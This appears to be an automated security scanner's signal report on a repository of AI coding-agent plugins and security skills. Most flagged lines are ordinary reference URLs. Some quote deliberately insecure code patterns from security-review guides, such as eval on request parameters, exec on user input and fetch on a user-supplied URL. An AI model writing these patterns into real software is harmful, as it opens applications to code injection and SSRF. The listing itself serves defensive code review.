  • harness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/backstage-expert/hooks/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/copilot-plugin-development/.claude-plugin/plugin.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/diagram-authoring/.claude-plugin/plugin.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/eyeball/.claude-plugin/plugin.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/eyeball/.claude-plugin/plugin.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 42,440 signals by file

docs/references/iac-review/SKILL.md

  • Network accessline 86
    - [Terraform Style Guide](https://developer.hashicorp.com/terraform/language/style)
  • Network accessline 87
    - [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/)
  • Network accessline 88
    - [tfsec](https://aquasecurity.github.io/tfsec/), [checkov](https://www.checkov.io/)

docs/templates/skill-creator/assets/eval_review.html

  • Dangerous shell operationline 81
    const rm = document.createElement("button");

docs/templates/skill-creator/eval-viewer/generate_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 99
    const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click();   }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 100
    }else{     fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})       .then(()=>alert('Feedback saved. You can return to the assistant.'))
  • Network accessline 101
    fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)})
  • Network accessline 198
    with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd:         url = f"http://127.0.0.1:{port}/"
  • Network accessline 199
    url = f"http://127.0.0.1:{port}/"

docs/templates/skill-creator/scripts/validate_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/accessibility-compliance/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/accessibility-kanban/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"
  • Network accessline 6
    "name": "Aaron Powell",     "url": "https://github.com/aaronpowell"   },
  • Network accessline 7
    "url": "https://github.com/aaronpowell"

harness/claude-code/plugins/acreadiness-cockpit/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "mvanderbend-msoft"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/acreadiness-cockpit/skills/acreadiness-assess/report-template.html

  • Network accessline 222
    <footer>     Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a>
  • Network accessline 223
    Generated by <a href="https://github.com/github/awesome-copilot/tree/main/plugins/acreadiness-cockpit">acreadiness-cockpit</a>
  • Network accessline 224
    · powered by <a href="https://github.com/microsoft/agentrc">microsoft/agentrc</a>.

harness/claude-code/plugins/agent-governance/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Copilot Primitives Maintainers"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/agent-governance/skills/agent-governance/SKILL.md

  • Network accessline 156
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 157
    - [AgentMesh Integrations](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 158
    - [OWASP Top 10 for LLM Applications](https://owasp.org/www-project-top-10-for-large-language-model-applications/)

harness/claude-code/plugins/agent-governance/skills/agent-owasp-compliance/SKILL.md

  • Dangerous shell operationline 60
    | ASI-01 | `PolicyEvaluator`, `PolicyEngine`, `input_validation`, `validate_input`, `sanitize`, `classify_intent`, `prompt_injection`, `threat_detect`, or `check_content` runs before `execute_tool(validated_input)`. | User input reaches `ex
  • Dangerous shell operationline 61
    | ASI-02 | A fixed `ALLOWED_TOOLS = {"search", "read_file", "create_ticket"}` allowlist, schema validation, and deny-by-default behavior. | Open-ended tool registration, raw shell execution, `eval()` or `exec()` on agent-generated code with
  • Network accessline 139
    - [OWASP Agentic AI Threats](https://genai.owasp.org/)
  • Network accessline 140
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 141
    - [agent-governance skill](https://github.com/github/awesome-copilot/tree/main/skills/agent-governance)

harness/claude-code/plugins/agent-governance/skills/agent-supply-chain/SKILL.md

  • Network accessline 184
    - [OpenSSF SLSA](https://slsa.dev/)
  • Network accessline 185
    - [npm Provenance](https://docs.npmjs.com/generating-provenance-statements)
  • Network accessline 186
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 187
    - [OWASP ASI-09: Supply Chain Integrity](https://genai.owasp.org/)

harness/claude-code/plugins/ai-team-orchestration/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Denis Evdokimov"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/apng-studio/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Andrea Griffiths",     "url": "https://github.com/AndreaGriffiths11"
  • Network accessline 6
    "name": "Andrea Griffiths",     "url": "https://github.com/AndreaGriffiths11"   },
  • Network accessline 7
    "url": "https://github.com/AndreaGriffiths11"

harness/claude-code/plugins/application-security/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/application-security/skills/codeql/SKILL.md

  • Network accessline 28
    - Advanced setup uses `.github/workflows/codeql.yml` and may use `.github/codeql/codeql-config.yml`. - CLI uploads require `GITHUB_TOKEN` with `security-events: write` plus repository, ref, and commit metadata. - Use the CodeQL bundle from 
  • Network accessline 30
    - Use the CodeQL bundle from https://github.com/github/codeql-action/releases, not a standalone CLI download, so bundled queries and precompiled packs match the CLI.
  • Network accessline 243
    - [CodeQL Action releases](https://github.com/github/codeql-action/releases)

harness/claude-code/plugins/application-security/skills/codeql/references/cli-commands.md

  • Network accessline 9
    Always download the CodeQL bundle (CLI + precompiled queries) from: [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)
  • Network accessline 10
    [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)

harness/claude-code/plugins/application-security/skills/codeql/references/compiled-languages.md

  • Dangerous shell operationline 52
    - **Auto-install dependencies:** Set `CODEQL_EXTRACTOR_CPP_AUTOINSTALL_DEPENDENCIES=true` (enabled by default on GitHub-hosted; disabled on self-hosted). Requires Ubuntu with passwordless `sudo apt-get`.

harness/claude-code/plugins/application-security/skills/codeql/references/sarif-output.md

  • Network accessline 9
    - Specification: [OASIS SARIF v2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html)
  • Network accessline 10
    - Schema: [sarif-schema-2.1.0.json](https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json)
  • Network accessline 258
    Validate SARIF files before upload using the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/).

harness/claude-code/plugins/application-security/skills/codeql/references/troubleshooting.md

  • Network accessline 241
    **Solutions:** - Validate against the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/)
  • Network accessline 242
    - Validate against the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/)

harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/SKILL.md

  • Network accessline 27
    > **Why this matters:** 83% of organizations have experienced more than one data breach (IBM Cost of a Data Breach Report). The global average breach cost was **$4.88M in 2024**, with the 2025 IBM report showing a 9% decrease — download the
  • Network accessline 324
    - [IBM Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach.)

harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/SOURCES.md

  • Network accessline 11
    ### GDPR Special Categories (Tier 1 classification basis) - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/
  • Network accessline 12
    - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - **What it says:** Biometric data, health data, genetic data, racial/ethnic origin, politica
  • Network accessline 13
    - **URL:** https://gdpr-info.eu/art-9-gdpr/
  • Network accessline 17
    ### PCI-DSS Data Classification - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/
  • Network accessline 18
    - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - **What it says:** Primary Account Number (PAN), cardholder name, expiration date, se
  • Network accessline 19
    - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/
  • Network accessline 23
    ### HIPAA Protected Health Information (PHI) Definition - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identi
  • Network accessline 24
    - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - **What it says:** The 18 HIPAA ide
  • Network accessline 25
    - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html
  • Network accessline 33
    **Source:** Regulation (EU) 2016/679 — Article 83 "General conditions for imposing administrative fines" **URL:** https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 34
    **URL:** https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 48
    | €1.2B | Meta (Ireland DPC) | 2023 | source page no longer resolves | | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-relea
  • Network accessline 49
    | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | | 
  • Network accessline 50
    | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry |
  • Network accessline 51
    | €150M | Google (France CNIL) | 2022 | source page no longer resolves | | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaen
  • Network accessline 52
    | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaengt-bussgeld-gegen-hm.html |
  • Network accessline 60
    **Source:** California Civil Code § 1798.155(a) — California Consumer Privacy Act **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 61
    **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 68
    **Private Right of Action source:** California Civil Code § 1798.150 **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 69
    **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 80
    **Source:** 45 CFR § 160.404 — Civil Money Penalties **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 81
    **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 83
    **Source (HHS penalty tiers explained):** HHS Office for Civil Rights **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html
  • Network accessline 84
    **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html
  • Network accessline 92
    **URL for current amounts:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html
  • Network accessline 96
    **Criminal penalties source:** 42 U.S.C. § 1320d-6 **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6
  • Network accessline 97
    **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6
  • Network accessline 103
    **Source:** Lei Geral de Proteção de Dados Pessoais (LGPD) — Lei nº 13.709/2018, Article 52 **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 104
    **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 114
    **Source:** Personal Data Protection Act 2012 (Singapore) — Section 48J **URL:** https://sso.agc.gov.sg/Act/PDPA2012
  • Network accessline 115
    **URL:** https://sso.agc.gov.sg/Act/PDPA2012
  • Network accessline 123
    **Source:** IBM Security — "Cost of a Data Breach Report" (published annually since 2005) **URL:** https://www.ibm.com/reports/data-breach
  • Network accessline 124
    **URL:** https://www.ibm.com/reports/data-breach
  • Network accessline 147
    | Regulation | Timeline | Source | |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ |
  • Network accessline 148
    |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ |
  • Network accessline 149
    | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ |
  • Network accessline 150
    | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ |
  • Network accessline 151
    | HIPAA | 60 days | 45 CFR § 164.412 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-D/section-164.412 |
  • Network accessline 152
    | CCPA | "Most expedient time" | Cal. Civ. Code § 1798.82 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.82 |
  • Network accessline 153
    | Singapore PDPA | 3 calendar days | PDPA Section 26D — https://sso.agc.gov.sg/Act/PDPA2012 |
  • Network accessline 154
    | Australia Privacy Act | 30 days | Privacy Act 1988, APP 1 + NDB Scheme — https://www.oaic.gov.au/privacy/notifiable-data-breaches |
  • Network accessline 155
    | LGPD Brazil | 2 business days (ANPD guidance) | ANPD Resolution CD/ANPD nº 2/2022 — https://www.gov.br/anpd/pt-br |
  • Network accessline 156
    | Japan APPI | 3–5 business days (2022 amendment) | Act on Protection of Personal Information Art. 26 — https://www.ppc.go.jp/en/legal/ |
  • Network accessline 157
    | PIPEDA Canada | "As soon as feasible" | PIPEDA s.10.1 — https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/ |
  • Network accessline 165
    | Component | Based on | |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology |
  • Network accessline 166
    |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https:/
  • Network accessline 167
    | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology |
  • Network accessline 168
    | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https://www.fairinstitute.org/ |
  • Network accessline 169
    | Population Scale normalization | CVSS v4.0 Attack Scale metric — https://www.first.org/cvss/v4-0/ |
  • Network accessline 170
    | Context multipliers | GDPR recitals 75, 91 (special categories increase risk level) — https://gdpr-info.eu/recitals/no-75/ |

harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/blast-radius-calculator.md

  • Network accessline 237
    Use these when no specific cost data is available. Figures below are from the **IBM 2024 edition**. IBM publishes a new edition annually at https://www.ibm.com/reports/data-breach — the 2025 report reports a ~9% decrease in global average c

harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/data-classification.md

  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]

harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/hardening-playbook.md

  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 396
    [Credential-related source omitted]

harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/regulatory-impact.md

  • Network accessline 150
    **Legal source:** GDPR Article 83 — https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 190
    **Legal source:** California Civil Code § 1798.155(a) (as amended June 30, 2025, Stats. 2025, Ch. 20) — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 191
    **Private right of action source:** California Civil Code § 1798.150 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 222
    **Legal source:** 45 CFR § 160.404 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 223
    **HHS enforcement page:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html
  • Network accessline 247
    **Legal source:** Lei nº 13.709/2018 (LGPD) — Article 52, I — https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 248
    **ANPD (Brazilian DPA):** https://www.gov.br/anpd/pt-br
  • Network accessline 282
    **Benchmark source:** IBM Security + Ponemon Institute — "Cost of a Data Breach Report" (annually updated) **URL:** https://www.ibm.com/reports/data-breach Figures below are from the **2024 edition** (last verified). IBM 2025 shows a 9% dec
  • Network accessline 283
    **URL:** https://www.ibm.com/reports/data-breach

harness/claude-code/plugins/application-security/skills/data-breach-blast-radius/references/report-format.md

  • Network accessline 263
    *This report was generated by the [data-breach-blast-radius](https://github.com/github/awesome-copilot/tree/main/skills/data-breach-blast-radius) skill for GitHub Copilot.*

harness/claude-code/plugins/application-security/skills/gdpr-compliant/references/Security.md

  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]

harness/claude-code/plugins/application-security/skills/secret-scanning/SKILL.md

  • Network accessline 159
    - [Secret scanning in AI coding agents via the GitHub MCP Server](https://github.blog/changelog/2026-03-17-secret-scanning-in-ai-coding-agents-via-the-github-mcp-server/)

harness/claude-code/plugins/application-security/skills/secret-scanning/references/push-protection.md

  • Network accessline 155
    For the full list of patterns supported by push protection, see [Supported secret scanning patterns](https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns).

harness/claude-code/plugins/application-security/skills/security-review/references/language-patterns.md

  • Dangerous shell operationline 11
    eval()                    // arbitrary code execution
  • Dangerous shell operationline 87
    eval(request.args.get('expr'))
  • Network accessline 116
    // XXE DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true)
  • Network accessline 118
    // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true)
  • Dangerous shell operationline 143
    eval($_POST['code']);
  • Dangerous shell operationline 192
    eval(params[:code])

harness/claude-code/plugins/application-security/skills/security-review/references/report-format.md

  • Network accessline 114
    Action Required:   1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com
  • Network accessline 115
    1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com
  • Access to secretsline 117
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]

harness/claude-code/plugins/application-security/skills/security-review/references/secret-patterns.md

  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 173
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]

harness/claude-code/plugins/application-security/skills/security-review/references/vuln-categories.md

  • Dangerous shell operationline 46
    - `eval()`, `setTimeout(string)`, `setInterval(string)` with user data
  • Dangerous shell operationline 61
    exec(userInput)
  • Dangerous shell operationline 71
    eval(user_input)
  • Dangerous shell operationline 76
    exec($input)
  • Network accessline 100
    fetch(req.body.url)
  • Access to secretsline 171
    [Credential-related source omitted]

harness/claude-code/plugins/application-security/skills/security-review/references/vulnerable-packages.md

  • Network accessline 90
    Reference: https://rustsec.org/advisories/
  • Network accessline 96
    Reference: https://pkg.go.dev/vuln/ and https://vuln.go.dev

harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/analysis-principles.md

  • Network accessline 184
    Reference: https://owasp.org/Top10/2025/
  • Network accessline 387
    ### SDL Bugbar Severity Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar
  • Network accessline 388
    Classify each finding per: https://www.microsoft.com/en-us/msrc/sdlbugbar
  • Network accessline 390
    ### CVSS 4.0 Score Use CVSS v4.0 Base score (0.0-10.0) with vector string. Reference: https://www.first.org/cvss/v4.0/specification-document
  • Network accessline 392
    Reference: https://www.first.org/cvss/v4.0/specification-document
  • Network accessline 394
    ### CWE Assign Common Weakness Enumeration ID and name. Reference: https://cwe.mitre.org/
  • Network accessline 396
    Reference: https://cwe.mitre.org/
  • Network accessline 399
    Map to OWASP Top 10:2025 category if applicable (A01-A10). **ALWAYS use `:2025` suffix** (e.g., `A01:2025`), never `:2021`. Reference: https://owasp.org/Top10/2025/
  • Network accessline 401
    Reference: https://owasp.org/Top10/2025/

harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/orchestrator.md

  • Network accessline 50
    20. **Deployment Classification is BINDING.** In `0.1-architecture.md`, set `Deployment Classification` and fill the Component Exposure Table. If classification is `LOCALHOST_DESKTOP` or `LOCALHOST_SERVICE`: zero T1 findings, zero `Prerequi
  • Network accessline 51
    21. Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03... Renumber after sorting 22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication` 23. After STRIDE, run
  • Network accessline 52
    22. CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication`

harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/output-formats.md

  • Network accessline 369
    | SDL Bugbar Severity | Critical / Important / Moderate / Low | | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink
  • Network accessline 370
    | CVSS 4.0 | Score AND full vector string (e.g., `9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)`) — BOTH are mandatory | | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.ht
  • Network accessline 371
    | CWE | ID, name, AND hyperlink (e.g., `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`) |
  • Network accessline 387
    | SDL Bugbar Severity | Critical | | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function |
  • Network accessline 388
    | CVSS 4.0 | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function | | OWASP | A07:2025 – Authentication Fail
  • Network accessline 389
    | CWE | [CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function |
  • Network accessline 614
    | Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 615
    |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification | | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 616
    | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 617
    | OWASP Top 10:2025 | https://owasp.org/Top10/2025/ | Threat categorization |
  • Network accessline 618
    | CVSS 4.0 | https://www.first.org/cvss/v4.0/specification-document | Risk scoring |
  • Network accessline 619
    | CWE | https://cwe.mitre.org/ | Weakness classification |
  • Network accessline 620
    | STRIDE | https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats | Threat enumeration methodology |
  • Network accessline 621
    | NIST SP 800-53 Rev. 5 | https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final | Control mapping |
  • Network accessline 624
    | Component | Documentation URL | Relevant Section | |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] |
  • Network accessline 625
    |-----------|------------------|------------------| | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] | | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authenticati
  • Network accessline 626
    | [e.g., Dapr] | [e.g., https://docs.dapr.io/operations/security/] | [e.g., mTLS configuration] |
  • Network accessline 627
    | [e.g., Redis] | [e.g., https://redis.io/docs/management/security/] | [e.g., Authentication] |
  • Network accessline 630
    **Processing Rules:** 1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column
  • Network accessline 631
    1. Always include the Security Standards table — populate with actual standards consulted 2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column 3. Populate Component Documentation with technologies actually c
  • Network accessline 632
    2. Every row MUST have a full URL (https://{example-url}) — never omit the URL column
  • Network accessline 709
    21.  Skipping `## Report Files`, `## References Consulted`, or `## Report Metadata` →  ALL 7 sections in 0-assessment.md are MANDATORY. Never omit any. 22.  Finding IDs out of order (FIND-06 before FIND-04) →  Finding IDs MUST be sequential
  • Network accessline 710
    22.  Finding IDs out of order (FIND-06 before FIND-04) →  Finding IDs MUST be sequential top-to-bottom: FIND-01, FIND-02, FIND-03, ... Renumber after sorting. 23.  CWE without hyperlink →  CWE MUST include hyperlink: `[CWE-306](https://cwe.
  • Network accessline 711
    23.  CWE without hyperlink →  CWE MUST include hyperlink: `[CWE-306](https://cwe.mitre.org/data/definitions/306.html): Missing Authentication for Critical Function`
  • Network accessline 732
    "branch": "main",   "analysis_timestamp": "2025-08-15T14:30:00Z",   "repository": "https://github.com/org/repo",
  • Network accessline 733
    "analysis_timestamp": "2025-08-15T14:30:00Z",   "repository": "https://github.com/org/repo",   "report_folder": "threat-model-20250815-143000",
  • Network accessline 734
    "repository": "https://github.com/org/repo",
  • Access to secretsline 948
    [Credential-related source omitted]

harness/claude-code/plugins/application-security/skills/threat-model-analyst/references/skeletons/skeleton-assessment.md

  • Network accessline 191
    | Standard | URL | How Used | |----------|-----|----------| | Microsoft SDL Bug Bar | https://www.microsoft.com/en-us/msrc/sdlbugbar | Severity classification |
  • Network accessline 192
